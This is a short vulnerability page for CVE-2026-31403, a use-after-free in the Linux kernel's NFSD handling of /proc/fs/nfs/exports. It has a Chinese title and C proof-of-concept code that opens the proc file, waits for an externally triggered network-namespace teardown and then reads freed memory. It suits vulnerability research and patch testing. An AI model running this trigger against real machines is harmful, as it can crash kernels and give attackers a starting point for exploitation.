CVE-2026-31403 Linux内核NFSD释放后重引用漏洞

/* * PoC for CVE-2026-31403: NFSD UAF in /proc/fs/nfs/exports * This PoC demonstrates the sequence to trigger the vulnerability. * It requires a scenario where the network namespace is torn down * while the file descriptor is still open. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sched.h> int main() { int fd; char buffer[1024]; // Step 1: Open the vulnerable proc entry fd = open("/proc/fs/nfs/exports", O_RDONLY); if (fd < 0) { perror("Failed to open /proc/fs/nfs/exports"); return -1; } // Step 2: Simulate the scenario where the network namespace // is destroyed. In a real exploit, this involves unshare/setns // and the parent process exiting or calling ip netns delete. // Here we assume the namespace teardown happens externally. printf("File descriptor opened. Waiting for namespace teardown...\n"); sleep(5); // Wait for namespace to be destroyed (manual step or external script) // Step 3: Trigger the UAF by reading from the fd // If the namespace is gone, this reads freed memory. if (read(fd, buffer, sizeof(buffer)) < 0) { perror("Read failed (might have crashed kernel)"); } else { printf("Read successful (namespace likely not destroyed)\n"); } close(fd); return 0; }